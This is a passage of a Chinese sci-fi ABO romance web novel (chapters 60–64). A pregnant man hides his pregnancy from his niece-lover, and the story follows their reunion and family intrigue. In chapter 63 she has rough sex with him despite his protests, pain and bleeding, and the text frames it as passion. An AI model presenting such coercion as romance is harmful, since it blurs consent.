把牛奶带回福利院后,季尝有事没事就带她来着,要她抱着牛奶:“胳膊酸了,替我抱会。” “我帮她泡奶粉,你抱抱她。” 就这样,他总有办法让她抱着那个软绵绵的,几乎没有骨头的小东西,还美其名曰培养感情,她抱孩子的动作也越来越娴熟。 那如果她和季尝没有分开呢? 如果她们有孩子,会不会像怀里的牛奶一样温暖,可爱。 会不会在她出任务回来突然跳出来给她一个拥抱,像牛奶一样抱着她的脖子不松手,这样的话,季尝可能会在一旁嗔怪。 他可能会说:“啊,宝宝怎么只抱妈妈,不抱爸爸,真是偏心啊……” 那她们的小孩会更像她,黑发,还是像季尝,栗发,发尾微卷。 “妈妈……”牛奶的声音让她回神。 她的身体软软的,香香的,莫名让她的心也跟着软一块。 她好像知道为什么季尝总是让她过来抱牛奶了。 现在每次想到牛奶,她就想到了季尝。 “她还没有大名吗?”季舒虞突然问。 “季先生还没有取,”女人笑了笑,“福利院的孩子都是季先生取的名。” 维娅插话:“那次我问哥哥来着,什么时候给牛奶妹妹取名,哥哥说,到时候让姐姐取。”—— 作者有话说:快让我们恭喜大小姐心想事成,虽然她不知道那边准备打胎了[鼓掌]《 》 60-70 第61章 胚胎解离素 第六十一章 “……等他回来再说吧。”季舒虞说。 下城区。 季尝在窗边坐了一整天。 窗子被雨水打湿了, 潮湿微凉的空气被风送进来,他却像一朵很久没有被阳光照射,没有被雨水灌溉,即将枯萎的花。 他求雨季长一些, 久一些, 但是他提前离开了。 三个月, 只有一个小野果那么大。 是他和季舒虞关系存在过的证明。 握了一天, 冰冷的药剂已经温热了。 季尝掌心下是平坦的小腹,温热, 还有明显的肌肉线条。 和平时一样,一点变化都没有, 但这里已经萌出了新芽。 他舍不得。 季尝望着天边,很久, 他凝起眉头, 狠狠朝着窗外掼了出去。 下城区鱼龙混杂, 季尝没等天亮就收拾好,直接去眼线搜集出的其中一个位置。 下城区很少有纯种人类, 大家大都装了机械义肢,或者内脏。 季尝穿的很严实,除了一双眼睛, 什么都没有露出来, 也就没有惹来那么多注意力, 在下城区一个很隐蔽的墙洞下, 敲响了一扇门。 半晌, 门缓缓开了一条缝,少年的机械义眼警惕地透过门缝看来。 “别紧张,我路过, ”季尝弯了弯眼睛,“外面有些冷,能让我进去喝点热水吗?” “……你用什么换?”少年看着他这身行头,问。 真是如传言那么吝啬,雁过拔毛的主儿。 季尝从门缝递过去一片小小的芯片,有些无奈:“喏,能让我进去了吗?” 少年拆开外包装,等看到芯片的纹路后,瞪大了眼睛,身后传来年迈的女声:“小甜,门外是谁?” “一个讨水喝的,”名叫小甜的少年不情不愿地开门,“进来吧。” 老人家抱着年头很久的书,鼻梁上架着可以称得上了老古董的老花镜,在昏暗狭小的小屋里认真看着。 季尝接过小甜递来的热水,摘下面罩,看着她说:“凯文博士,好久不见。” 这是凯伦的姐姐。 “……”老太太的老花镜滑到鼻尖,她细细觑着眼前的男人,半晌,说,“怎么,我不认为和你们家族还有什么好说的。” 她这么说,一旁的小甜就抄起了扫帚,随时准备赶人。 “当然,我也这么认为,”季尝微微一笑,他的姿态谦逊,这也是为什么凯文迟迟没有下令把他赶出去的原因,“博士,是我有求于你,这与季家没有关系,说来你或许不信,我这个边缘化的私生子,几乎不属于家族了。” 凯文摘下眼镜,问:“找我做什么?” “博士手里有一些父亲当年的罪证,”季尝说,“我想要。” “我以为你会像他们一样让绕圈子,”凯文双手交握,“想要这份证据销毁的人太多了,季尝,我凭什么给你?” “博士,我不要原文件,给我一个备份就好。”季尝轻轻吸了一口热水,“这是一件双赢的事。” 凯文爽朗的笑声响起,她笑了很久,直到眼泪都出来了,才慢慢说:“那么,让我猜猜,这是发生了什么?被季家边缘化,你是想通过这些扳倒季高?” “博士,这些当然不够。”季尝微微一笑,说,“我知道你这些年因为他的不公吃了多少苦,这怎么能甘心呢?” 凯文博士哼笑:“这么多年,我早就放下了。” “您没有,”季尝摇头,“要是放下,早就自行销毁这些东西了,而不是住在桥洞千防万防。” “你现在说话直来直去,越来越像那个孩子。”凯文慈祥地看着他。 “她跟你一起来的吗?” 季尝一怔,才反应过来,她说的是季舒虞。 当年凯文曾去过那个实验室,也见过季舒虞。 她负责注射针剂的那段时间,总会多给他留出一些休息的时间,季舒虞的状态就会好很多。 明明是关切的话语,但莫名就刺痛了他。 季尝唇角的笑容不变:“嗯,她现在在处理其他的事,我负责您这边,博士,你该爽快答应,并说等我们好消息的。” 他跟凯文有些私交,要这些东西不算那么难。 季高恶事做得太多,在A区他的行动都在掌控中,但现在是下城区,彻底脱离了他的掌控,季高鞭长莫及。 并非所有人都像凯文这么好说话。 季高太自大了。 他的罪证被人抓在手里,手下人蒙蔽他,找替死鬼让这几个抓着他把柄的人蒙混过关。 之前不是没有过要揭发他行为的人,但这些人都是一盘散沙,力量也不够强大,不足为惧,而现在不同了。 季尝戴上帽子,压了压帽檐,打开终端就看到最新的消息。 那是一条视频。 季舒虞和那个年轻的Alpha易灼并肩从她的私人飞行器上下来,A区降温,那个男人缩了缩肩膀,她就垂着眼睫给他披上了一件外套,对他微微点头。 这一举动,无异是对他的亲密和认可。 薄情。 季尝不由得掐紧了掌心。 他莫名觉得恶心,是生理性的,于是屈指抵住唇,喉头上下滚了滚,试图驱散这种难耐、不适的感觉。 “我才走了十几天,这个替代品就已经登堂入室了……”季尝气笑了。 甚至现在连他的待遇都有了。 他的离开对季舒虞毫无影响,搬到下城区难受几天的他,反倒像个笑话。 她们之间那段感情算什么,算他耐不住寂寞,不知恬耻地勾引自己的侄女吗? 他深吸了一口气,回到家脱掉湿透的衣服,小猫就喵喵叫着缠了上来。他下意识稳稳接住窜上来的猫:“好了,别闹。” 黑市的医生说,他身体太差了,孕育S级Alpha的孩子本身就是一件很辛苦的事,他自己根本不可能完成,除了季舒虞的信息素,别无他法。 如果选择不回去,好一点的结果,可能是他拼死生下孩子,来不及托付,就因为被过度汲取营养而死亡,坏一点,就是一尸两命。 季尝别无选择。 除非他亲手杀死这个孩子。 黑蛇这时候也缠了上来,小小一根缠在他的指根,季尝的指尖触及它的腹部,果不其然,黑蛇的腹部明显有一个硬硬的弧度,是蛇蛋。 只是不知道是因为他怀孕,黑蛇共感有了白蛋,还是真的跟朱雀有了实质性进展。 能生出什么呢,吐信子的鸟,还是长翅膀的蛇。 办公区。 季舒虞签了字,把文件递给文青山:“季尝那边没有传来消息吗?” 今天是他离开的第十六天。 季尝的身体已经习惯了她的信息素,有一定的依赖性,他临走前什么都没带走,却坚持了这么长时间,季舒虞不知道他是靠什么坚持下去的,抑制针剂吗? 他总是伤害自己的身体。 季尝总是把那些孩子们照顾的很到位,但他对自己的身体很不负责。 “季先生没有传来消息。”文青山说。 自从季尝调职,她就改了称谓,直接称呼“季先生”。 季舒虞指尖一下下敲击在桌面上,听她继续说:“但是,季先生这几天走街串巷,去了很多地方,像是在找什么。” “找东西?”她思索了一瞬。 文青山点头,汇报道:“季先生还去了黑市,看医生。” 他生病了。 季舒虞脑子里只有这一个念头。 季尝的身体太差了,她很清楚,而且锻炼的强度也不够,离开她之后兴许更是没怎么锻炼,照顾不好自己,身子只会越来越羸弱。 她一直都在关注着季尝的动向。 最开始他到下城区的时候应该是水土不服,连着几天没有出门,季舒虞不知道他是怎么活下去的。 小猫总是有很多事要做,并不能时时刻刻让她看到季尝在做什么,但每次她看到季尝的时候,这人都是在睡觉,几乎没有什么清醒的时候。 要么就是在看新闻。 关于她的新闻。 她不知道季尝既然这么关注她,为什么还要离开,至今她都没有查到季尝那天经历了什么,发生了什么,下定决心跟她分开。 他的浏览和通话记录全部被删除,一干二净,明显是有意隐瞒。 季尝从来谨慎,他是这方面的天才,只要季尝不想让人知道,没人能通过科技信息手段搜罗到这些,他在家呆了整整一天,季舒虞不能查到那天季尝看到了什么。 但文青山的表情显然更加复杂,她斟酌着措辞:“嗯,如果那只猫当时没有拍错的话,季先生应该是,带了胚胎解离针剂回去。” 指尖叩在桌面上的声音停止。 “什么?” 文青山确认她的想法:“季先生可能怀孕了。” 她放缓了呼吸,问:“什么时候的事?” “应该是昨晚发生的,长官昨晚没有来得及看,而我第二天才有权限访问,”文青山补充道,“在您放权以后。” 季尝怀孕了。 一向守规矩的女人,这次脑子里的第一个念头,不是和小叔无媒苟合让他怀了自己孩子是一件坏事、丑闻,而是觉得,那是她们应得的。 她和季尝可以组建家庭,她们是彼此可以依靠的,最亲近的人。 当然,这是她以为的。 她以为季尝会愿意跟她组建家庭,但他选择杀死那个孩子。 “要强制带季先生回来吗?” “……不,”季舒虞喉咙干涩,“不用管。” 季尝一如既往的狠心。 他毫无征兆的离开她,在得知怀孕后,也会直截了当的打掉她们的孩子。 他就是这样,从来不拖泥带水,关键时刻狠到能朝着自己连开数枪。 季舒虞输入一串代码,打开昨晚的监控。 第62章 心脏还在加速跳动 第六十二章 视频中, 男人坐在窗边,垂着眼睛不知道在想什么。 他手里的针剂呈浅褐色,微小的字,她放大数倍, 终于分辨出:胚胎解离素。 那只猫很好动, 时不时出去转一圈, 回来看看季尝, 有可能凑到他身边要他摸摸,过一会又出去打架, 她能看到的画面并不多。 但胚胎解离素五个字她辨认的清楚。 季尝就这么坐了很久,甚至没有挪过位置。 等猫最后回去的时候, 季尝已经收拾好了自己,他的脸色很苍白, 精神状态看上去也不太好, 很虚弱。 身体本来就很差, 又自行注射胚胎解离素,脸色苍白是无可避免的。 他要离开, 季舒虞尊重他的选择,可她觉得她们相爱过,那他离开的真正原因, 孩子的去留, 季尝应该跟她商量的。 但他什么都没有说, 也从来没有真正信任过她。 季尝好像习惯了什么都自己扛, 因为这在他的生长环境来说, 这是代表个人能力的象征。 季舒虞理解,也尊重,但她没有得到应有的尊重。 这段无疾而终的感情让她不舒服。 她体验了很多没有感受过的情绪, 季尝给了她从来没有奢望过的爱,让她体会到了家的感觉,这是一个实验体一生都不可能体会到的,但他后来一言不合收回了所有。 “妈妈。” 办公区的门口传来牛奶的声音。 她被维娅抱在怀里,朝她张开小胳膊,想被她抱。 季舒虞看着牛奶,觉得自己的情绪感知系统像是泡进了酸涩的水里,被酸的皱了起来。 季尝没有跟她商量,他硬生生挤进她的生活,又一言不合地离开,现在杀死了她们的孩子。 这是对他自己身体的伤害,也是对她们感情的不负责。 季舒虞很想问清楚究竟为什么,为什么什么都不许她知道,她连知道的权利都没有吗? 手臂线条缓缓绷紧,像是把人狠狠地勒进怀里,就这样禁锢他,搂紧他,不许季尝再逃离。 “妈妈,抱。”牛奶再次提出需求。 维娅抿了抿唇:“姐姐,要不我先带她……” “来,给我抱抱。”她蹲下身,朝着牛奶张开手臂,她就挣扎着从维娅怀里出来,踉踉跄跄扑到她的怀里,搂着脖子不松手。 柔软温暖的身体被她抱紧,心仿佛也更实了一些。 她戳了戳牛奶的小脸:“张嘴给姐姐看看,长了几颗牙了?” 牛奶很听话,她就乖乖张嘴:“啊——” 她擦干净手,一颗颗数着乳牙,数到最后一颗的时候,被牛奶咬住手指。 “真坏,像谁。”季舒虞的视线没有那么冰冷了。 在看着牛奶的时候,她的态度很难不软化。 牛奶咯咯笑着秒答:“爸爸。” 明明只是凑巧,但季舒虞还是很快压下了一点不好的情绪,抱着牛奶出了门。 回到A区的时候,距离季舒虞批复他调职文件已经过了二十多天,将近一个月的时间。 收集证据太耗费时间,他要获取这些受害人的信任,这不是一朝一夕就能完成的,时间自然就比预期的晚了些,好在东西都拿到手了。 季舒虞的新政策推动顺利,街上甚至多了机械人的影子,平时是鲜少见她们出没的,除此之外,A区看着没有什么太明显的变化。 他其实不想依赖任何人,也不敢依赖任何人,习惯依赖后,如果回头看到身后空荡荡的,只会让他陷入莫大的失落。 哪怕他再爱季舒虞,也不敢全身心的信任她。 他也不想把自己的负担和痛苦全部告诉她,他怕自己成为季舒虞的负担。 季尝认为他有能力完成这些,当然,本身也是可以的,只是这里出了差错。 这个孩子来得有些不是时候,打乱了他的所有计划,这次,他的身体不支持他完成这样一项艰巨的任务,到现在陷入了一个进退两难的地步。 他除了回去,别无他法。 滴答—— 【先生,总协调官受伤。】 【[位置信息]】 季尝看着发送来的消息,眉尖蹙起,确定好她的位置信息后,当即调转方向,前往私人疗养所,控制所有监控数据,找到季舒虞。 她手臂上的伤很严重,珍妮尔在同她说什么,应该是提及想要帮他把胳膊上的伤口处理好,包扎起来的事情,但季舒虞直接拒绝了:“不用,没有那么严重。” 季尝看到她胳膊上的伤,明明就是很严重,他不知道她在固执什么。 “你最近头痛的厉害,也有可能是这些后遗症引起的,这伤也必须处理。”珍妮尔不容推拒地推来包扎用的东西,正在抽取着药剂。 但显然,季舒虞没有妥协。 她还想再说什么,季尝刻意收敛了所有的信息,在季舒虞反应过来之前,很快上前直接把她打晕,抬眼看着一旁震惊的女人:“好了,快给她包扎。” “……呃,季、季先生?”珍妮尔先是惊讶于他粗暴又格外有效的举动,“你是怎么进来的,我记得……” “事不宜迟,她一会就要醒了。”季尝说。 珍妮尔复杂地看了他一眼:“好。” 女人闭着眼睛躺在床上,她胳膊上的伤口很严重,像是被星兽咬的,都已经成了这样,居然还不肯处理,她究竟要做什么。 珍妮尔很快处理好,贴心地带上了门。 芯片对她的影响太大了,根据他对季舒虞的了解,刚刚他不该那么顺利得手的,季舒虞的身体已经被芯片严重影响,否则她刚刚不会那么迟钝,哪怕现在手臂受了很严重的伤。 季尝目前还没有取出芯片的方法。 季尝小心翼翼地凑近她,细细汲取着这个薄情女人身上的信息素味道。 熟悉的硝烟味让他安下心来,她太警惕了,这股信息素的味道并没有安抚信息素给予他的更有效,但胜过没有,季尝很珍惜。 他坐在季舒虞的身旁,俯身轻轻吻她的唇瓣。 今天没有把头发扎起来,柔软的发尾也顺着他俯身的动作下滑,落到季舒虞的身上。 好像她们没有分开,只是很久不见,在珍惜地亲吻彼此,用肢体语言诉说着想念和好久不见。 季舒虞的嘴唇很柔软,轻轻相贴,无法消解他几乎一个月没有见到她的想念。 他想拉着季舒虞的手放在自己仍旧平坦的小腹上,让她摸摸自己的肚子,这里面有一个新的生命在生长,使她们血脉相连,有了斩不断的羁绊,但季尝握着她的手,没有再把她的掌心贴在自己小腹上。 他不想对上季舒虞的眼睛。 季舒虞眉头动了动,像是要苏醒。 该走了,不然季舒虞醒来会撕了他的,他并不想承受季舒虞的怒火。 “我走了。”他低声说。 季尝压下心中的酸涩和一切念头,没有走正门,而是直接掀开窗帘,翻窗跳了下去。 与此同时,珍妮尔打开门,看到坐得端正,身姿挺拔的女人:“幸好伤口处理及时……诶,你醒了,季先生呢?” 季舒虞脸色冷的吓人,她垂着眼睛看到手上的绷带。 “怎么了,哪里不舒服?”珍妮尔担忧地看着她。 “没事,处理的挺好的。” 只看着医用绷带上那个熟悉的蝴蝶结,她大概就知道发生了什么,现在有珍妮尔的佐证,季舒虞十分确认刚刚翻窗逃走的那人是谁。 淡绿色窗帘被吹得飞扬。 决绝的提了分手,现在他不仅偷偷回来,还偷袭她。 胆子真大。 她知道季尝这是直白地告诉自己,他回来了。 但这是A区,他不该想来就来,想走就走。 季舒虞直接打开终端,看到季尝的定位,正在不远处停留,她直接起身披好大衣:“我先走了。” 季尝在一个小小的饮品店喝着果饮,他垂着眼睫咬着吸管,一口接一口。 孕期很容易饿。 他从前都是正常饭点和季舒虞一起吃一次,自己吃饭可能不那么准时,但一天一两顿也是该有的。 现在不一样,现在他没走两步就很饿,恨不得每时每刻都在吃。 这小崽子简直就是来监督他的生活和饮食习惯的。 季尝无奈,但这是他要留下的,只能乖乖找了一个饮品店,点了一杯健康的、充满人体需要的维生素、但他平时从来不屑于喝的东西。 “咕咕——” 这是有声的抗议。 季尝无奈地托腮,打算再看这附近有什么好吃的,他现在没什么胃口。 饮品店是智械服务,他早就控制了这里关于他的一切数据,随时会抹除,不担心身份和信息暴露:“小崽子,跟你妈一样难伺候。” 而小崽子的妈已经逼近。 季舒虞透过玻璃窗看到他的身影。 季尝在一个角落里坐着,他很喜欢找角落。 居然没有跑,反倒在她眼皮子底下逍遥自在。 看着他喝完最后一口,季舒虞直接走到他身前,在他抬眼的时候将人打横抱起。 “啊……”他惊呼一声,搂住她的脖子。 孕期对气味敏感,他早就闻到了季舒虞的味道,没有打算反抗,也想看看她究竟要对自己做什么,打一架,吵一架,或者其他报复他的行为。 但季舒虞就这么把他抱起来往外走,季尝心脏还在扑通扑通的加速跳动:“你这是要带我去哪里?” 她的私人飞行器就在附近,门自动打开,季尝被她丢进去,就听到女人冷冽的声音:“季尝,违反军纪,该严惩。” 季尝微笑,屈指抵唇,好整以暇地看着她:“那长官,我会受到怎样的惩罚呢?”—— 作者有话说:魅魔,手段了得 答案:第42章[黄心] 第63章 玩腻了 第六十三章 他还只当自己应该受惩罚。 时隔将近一个月, 再看到季尝这张似笑非笑的脸,季舒虞心中的火气几乎按不下去。 她不知道季尝这人怎么就这么能惹火。 他狠辣、虚伪、擅作主张,玩弄她的感情,不肯信任她。 如此可恶。 但看到那张颜色浅淡的薄唇, 她的生理反应还是要上去咬, 撕碎他, 将他一切的一切都融进自己的身体, 禁锢他,让他再也逃不脱。 “怎么了大小姐, 怎么不说话,”季尝笑吟吟地看着她, 那双狐狸眼弯弯,带着莹润的光, “是在想应该怎么罚我吗?” 飞行器的门被关闭。 季尝愣了一下, 隔着窗户看到季舒虞的脸, 那么肃冷,他不由得空空吞咽了一下, 闻到了危险的气息。 他对危险很敏锐。 驾驶室的门打开,女人身上肃杀冷冽的硝烟味涌出,这股味道令他后背贴紧了柔软的座靠。 那股信息素丝丝缕缕往他后颈的腺体处钻, 清淡的草木香也被勾了出来, 与它主人不同的是, 这些信息素毫不遮掩对这股味道的喜爱, 直接缠了上去。 她开启了飞行器的自动驾驶模式, 位置定在公馆。 季尝看着她的动作,压下心中的紧张,轻笑了一声:“大小姐, 这又是做什……” 她的力道那样不容置喙,直接将季尝揽到自己怀中,紧紧地束缚着,堵上那张她从来讨厌的嘴,啃咬、攻占、掠夺他的呼吸。 “唔……”季尝想要挣扎、推拒,但又矛盾地抱紧她,只是绷紧的骨节缓缓收紧,将同等的疼痛还给她。 分开很久很久,他的身体像是贫瘠的土地,万分渴望属于他的雨季。 季舒虞的爱像是一场下不停的,潮湿的骤雨,滋润他,让那颗微小的种子扎根,发芽。 他的腰身都在颤抖,整个人无力地要往下滑,半推半就:“别、别在这……” 她的飞行器没有开防窥模式,经过的飞行器能看到里面的状况的。 他不想明天和季舒虞接吻照被发出去,配文几个大字:乱伦。 季舒虞冰冷的声调落在他耳畔,温热的呼吸与语调正相反,引发季尝的战栗:“小叔不是从来不喜欢与人商量吗,你走的时候,怎么没问过我的意思?” 信息素紧密纠缠,象征死亡的硝烟和代表生机的潮湿森林,毫无关系、甚至不可能同时存在的气味就这么纠缠在一起。 公馆内,朱雀高兴地扑棱扑棱,却被季舒虞关在客卧。 她坐在办公椅上,按着季尝的肩膀,不容置喙的力道让他坐下:“回来做什么,不是结束了,给我包扎,闻我的信息素,季尝,你什么意思?” “你管我……”季尝咬紧牙关,蹙着眉尖抵抗。 他背对着季舒虞,看不清她的表情,每次想起身,就被她重重按下,根本逃不开。 这个姿势让他没有支撑点,他不想把自己脆弱的脖颈、胸膛亲自送到季舒虞的手中,他能清楚感知到女人的火气,季尝难得害怕。 他的战栗、吞咽,一切的一切,都在季舒虞的掌控之下。 这不是爱人之间的温存,更像是一种处刑。 他的一切反抗和挣扎都被化解,现在只能诚实地屈服于季舒虞带来的所有感觉。 “既然不想我管,回来做什么?”季舒虞指尖在他柔软的后颈上摩挲着,换来他控制不住的颤抖和反抗,“小叔不是很喜欢说话吗,怎么不说了?” 她的虎口抵在季尝的脖颈,颈动脉有规律的跳动着。 喉头空空的吞咽,死亡的感觉将他笼罩,季尝担心下一秒她就收紧,让他窒息而死。 只要季舒虞想,随时能杀死他。 “小叔,你的嘴永远没有身体诚实。”她攥着季尝的腰,指尖停留在他平坦的小腹,这里曾经有过一个孩子,季尝都不打算告诉她。 酸涩,苦楚,那是被背叛的感觉。 季舒虞讨厌这种感觉。 她以为季尝要跟她走到最后的。 指尖落在他小腹的时候,季尝紧张地咬紧了她,痛哼一声:“出去,起来,滚出去!” 他就会骗她和隐瞒,季舒虞想把他的嘴咬烂。 “吐出舌头来,你的下属知道你私下这样吗?” 柔软的腿肉绷紧,就连足间也蜷起、绷直、颤抖,季尝被她掐着下巴,渡过去一个深深的吻,只能一边落泪,一边呜呜的哼着。 叫都叫不出来了。 “真可怜啊,小叔。”她指尖温柔地擦去季尝脸上的眼泪。 他被调转了方向,被迫直视着季舒虞。 她似乎是在欣赏着他的表情,很满意地摩挲着他的面颊:“小叔,为什么要跑呢,这是你想来就来,想走就走的地方吗?” 季尝颤抖着,不敢捂自己的小腹,生怕她看出什么来。 很痛。 季舒虞太用力了,他从来没有见过她这么蛮横的样子,痛出了一身冷汗。 他很担心宝宝。 四个月,原本不该有什么事了,亲密会获得大量的信息素,这是有利于发育和生长的事情,它已经有将近一个月没有汲取到季舒虞的信息素了。 季舒虞吻了吻他的发丝:“过段时间,我的身份会公之于众。” 季尝推她的手稍顿。 她如果真想揭露季家人的罪行,有更多更好的方法,为什么非要将自己的身份公之于众。 “季尝,我不知道你的顾虑,我明白你究竟害怕什么,但这件事过后,你可以再好好想想,要不要回来,”以季舒虞的能力,只要她想,随时能把他禁锢起来,不留痕迹,但她决定给季尝选择的机会,“现在,能告诉我为什么离开我吗?” “……玩腻了,怎么,我还得给你写一份说明书?”季尝面露厌恶,嘴角还是似笑非笑的,只是眼尾还很红,没什么力气,也没有什么威慑力,“从我的身体里,滚出去。” 没有原因,她们本就不该有交集。 季舒虞沉默着把他抱起来。 她的火气已经降下去了些,虽然没有得到想要的答案。 与他分开的时候,季舒虞看到一点血丝,垂着眼睫为他清理着。 季尝当然想要反抗,却在铆足了劲踹过来时被她握住脚腕:“别动,我验伤。” “……哼,混账东西。” 哪有这么验伤的。 季尝很不安,他不知道宝宝现在怎么样,整整一个月接触没有母亲的信息素,照理来说,它现在应该很活跃,但他什么都没有感觉。 他正胡思乱想,被季舒虞吻在那颗红痣的位置,猛地一惊,与此同时,腹部传来一点微不可查的动静,像是要叫他安心。 季尝那点担忧忽而定格在脸上,季舒虞明显察觉到他情绪的异样,森林的清新味道突然逐渐由果子的香甜,他心情很好,不自觉地勾了勾唇角,很想摸一摸它。 但与季舒虞对视上,他狠狠瞪她:“你又要做什么?” 季舒虞目光直白地看着他:“你很高兴,在高兴什么?” “你那么用力,我免不了受伤,有什么可高兴的?”季尝转眼不去看她,一副眼不见心不烦的模样。 她就没再说话。 可能也是因为弄伤了他,有一点内疚。 季尝不想跟她说话,他还生季舒虞的气,撑着身子坐到床上,背过身不去理她。 他这段时间总是很困,好像总是睡不够,眼下被季舒虞折腾的更是没有精神,闻着那股硝烟的味道,竟然就这样沉沉地睡了过去。 六角大楼。 季高听着身旁智械的话,冷笑了一声:“真是越来越有主意了。” 季尝居然擅自回到了A区,回到了季舒虞的身边。 他看好的儿子先是和自己的侄女做了见不得人的事,自请调职后,后违反军纪,偷偷摸摸回到她身边。 “需要我去看看她们在做什么吗?”智械问他。 “哼,不用。”季高起身,没有接它递来的拐杖。 拐杖是权利的象征,但也同样代表他年纪到了,该退位放权了。 至于她们现在在做什么。 季高不是没有经过人事的愣头小子,当然知道这经历过情情爱爱的人分别一个月在做什么。 想必是干柴烈火,轰轰烈烈。 这件事原本没有什么错,可偏偏她们是同一个家族的人。 “长生计划进行的如何了?”他说。 “长生计划还在继续,有十分明显的进步,”智械看着他,说,“您一定能长生不老的。” “让她们抓紧。” “是。” 季高任由它给自己注射针剂。 长生药业的研发项目还在继续。 其实他没有说过,季舒虞和季尝两个人都不是他的首选,如果可以,等待长生计划有了结果,这两个不听话、不受控制的后辈。 他从来没有说过他要放权,也从来没有明确说过,季家的位置留给谁。 她们都是备选项。 但如果备选项不听话,或许就没有什么存在的必要了。 季高说:“她们不停在制造家族丑闻。” “您放心,不会再有了。” “过段时间,让季尝来见我一面,”季高叹了口气,像是担心儿子的老父亲,“我有很久没有见到我这儿子了。” 外面淅淅沥沥开始下雨。 天越来越冷,兴许没几天就下雪了。 下雪,下城区又会冻死许多人。 季尝被她揽在怀里,这次没再挣脱,只是安静地看着窗边。 “在想什么?”季舒虞没有睡,她看到季尝的睫羽还在动,知道他也醒着。 他的声音很轻,有些哑:“在想,这几天的雨和雪,会让下城区死多少人……”—— 作者有话说:我想要多多的评论,只有多多的互动才能让我更有力气[可怜] 第64章 别抱我 第六十四章 从来都是这样。 兴, 百姓苦,亡,百姓苦。 季舒虞没有应声,但她知道, 这将是一个庞大的数字。 星际的天气很恶劣, 疾风骤雨说来就来。 下城区的生存环境恶劣, 不是谁都有钱治病, 也不是所有人都能熬得过一场苦寒。 季尝问:“明明有更好的选择,为什么要暴露自己的身份。” 只要季舒虞开口, 他一定帮忙。 不论是从小叔的身份来说,还是前男友。 没有得到回应, 季舒虞只是环着他的腰,鼻尖贴着他的发顶。 “……我过几天回下城区, ”他转身, 抬起眼睛看着季舒虞, 细细捕捉着她的神情,“可能不回来了, 你呢?” “你在试探什么,季尝,”她看着那双平静莹亮的眼睛, 毫不客气地拆穿了他, “我给你的答复, 你还不够满意吗?” 将身份公之于众, 也是在告诉大众, 她和季尝之间没有血缘关系。 她们的感情也不该成为谈资,舆论也不该成为她们的阻碍。 她其实早就知道,季尝是胆小鬼。 可能他做的最勇敢, 最出格的一件事就是喜欢她。 当然,这也是她做的最出格的一件事。 季尝心虚地想要错开视线,不被她允许,转而厌烦地啧了一声,挣扎着背过身去:“什么满不满意的,你身上太烫,别抱我。” 这次季舒虞没有拆穿他。 心脏像是被什么慢慢的撑开,撑得酸涩、饱胀。 季尝的鼻尖有点发酸。 为什么她们不能在一起呢,凭什么要听季高的呢,如果反抗不了规则,那就坐上那个位置,修改规则。 他闷闷的不说话,但信息素像是给了她一个答案。 他不回去了。 “你在家待着,最好哪里也不要去。”季舒虞说。 “大小姐这是要把我闷死?”季尝蹙起眉尖,做了一个很刻板的惊讶的表情,“之前说让我死,是死在你的床上吗?” 刚刚可真是一点都不放过他。 幸好那个小家伙没事。 “……又开始胡言乱语了?”季舒虞的手指放在他腰窝的位置。 季尝的后腰很敏感,那里有两个凹陷。 她抱着季尝的时候,很喜欢把手放在这个位置。 “我年纪大了,身体也不比那些小年轻,你悠着点。”季尝叹了一口气,“很痛,我现在身体像是散了架。” “不会让你无聊的,”季舒虞绕着他的发丝,声音很低,很温和,让人尾椎骨发麻,“维娅和牛奶下午会来。她们不知道你在这里,也许会很惊喜。” 他笑了一声:“哼,那两个小东西,一定很想我了。” 牛奶有些依赖他。 其实前往下城区的时候,他有考虑把牛奶带过去,但下城区不够安全,牛奶也还太小,需要人陪,最终还是作罢。 虽然有时间就会通过全息影像看她们,但和见面的差别太大,季尝对她们的想念没有比季舒虞少多少。 “哥哥!” “爸爸!” 人未到,声先至。 门一开,季尝就被这两个小家伙扑个满怀。 “怎么来的?”他抱着牛奶,摸了摸维娅的头。 “……姐姐身边那个男Alpha送我们来的,”维娅有些不情不愿,很明显,她不是那么喜欢易灼,“哥哥,我太想你了。” “噢,你身边什么时候有男性Alpha了?”季尝勾唇,似笑非笑地看着她,“我怎么没听说过,人呢,不打算介绍给我认识吗?” 他明明什么都知道。 季舒虞通过摄像看到他每天都在看新闻,那么她的绯闻季尝一定也没有错过。 但他还要问。 她就顺着季尝的话说:“有时间介绍给你认识。” “看来大小姐挺满意?”季尝抱着牛奶哄,闻言哼笑一声。 “除了没有你能打,别的都还好。”她点点头,这无疑是对易灼满意的举动,“到时候看时间,我先走了。” 什么意思,他的高度是一个B级Alpha能企及的吗? “姐姐再见!” 季尝看着她的背影,没有道别。 坏东西。 就这么喜欢那个Alpha,难道她真是A同吗? 可哪个Alpha能做的比他好,就算是B级Alpha,也不能让她翻来覆去折腾这么长时间。 “爽就叫出来,你以为你隐忍这闷哼就能让我不爽吗?” 季舒虞低头咬在他的后颈,引来他剧烈的挣扎,可怎么都挣不开:“滚,滚开!你是狗吗!” “那你是什么,狗*的?” 季舒虞恶劣的声音又在耳边响起。 他猛地回神,心脏跳的很快。 “哥哥,怎么了,你的脸好红,”维娅歪了歪头,“是发烧了吗?” “……没事,”他问维娅,“她对那个Alpha怎样,他叫什么,易灼?” “姐姐对他挺好的,”维娅想了想,说,“姐姐对谁都好。” 对谁都好,但季舒虞唯独对他狠的要命。 怎么对他就这么不一样。 季尝哼笑,逗着怀里的牛奶:“牛奶有名字了吗?” “唔,还没有,”维娅回想着那天,“姐姐说再等等,到现在也没有取名。” 薄情的家伙。 他已经尽可能培养季舒虞和牛奶的感情了,孩子一转眼都一岁多了,到现在还没有一个正式的名字。 “哥哥,我不喜欢易灼,你不要走了,好不好,”维娅抱着他的胳膊,央求道,“或者把我带走,可以吗?” “讨厌他讨厌到想离开吗?”季尝问。 维娅眼巴巴看着他,没有说话。 他也不喜欢易灼。 牛奶同样攥着他的发尾,看着他喊爸爸。 他好像知道为什么结了婚的同僚,反倒更不愿意被调职了。 有家人有孩子,就会有牵绊。 那他呢,他算不算季舒虞的牵绊。 “爸爸,不肘,好好。”牛奶学着她说话。 但调令已经批复,关乎到军纪,这些不是那么好解决的。 他没有给两个小孩一个肯定的回答:“还不确定,再看看。” 是去是留,更多也看季舒虞的意思。 隐瞒她这件很重要的事,其实季尝有些担忧,他不知道季舒虞会不会觉得这是一件很麻烦的事。 宝宝已经会动了,容不得半点闪失。 不论如何,他都需要拿到季舒虞的高浓度信息素,哪怕后面她们因为什么彻底决裂,他都会为自己兜底,靠提前存下的信息素孕育这个孩子。 维娅和牛奶被安置在楼上休息,公馆又安静下来。 这一个月他过得太清闲了,季尝还是很不习惯。 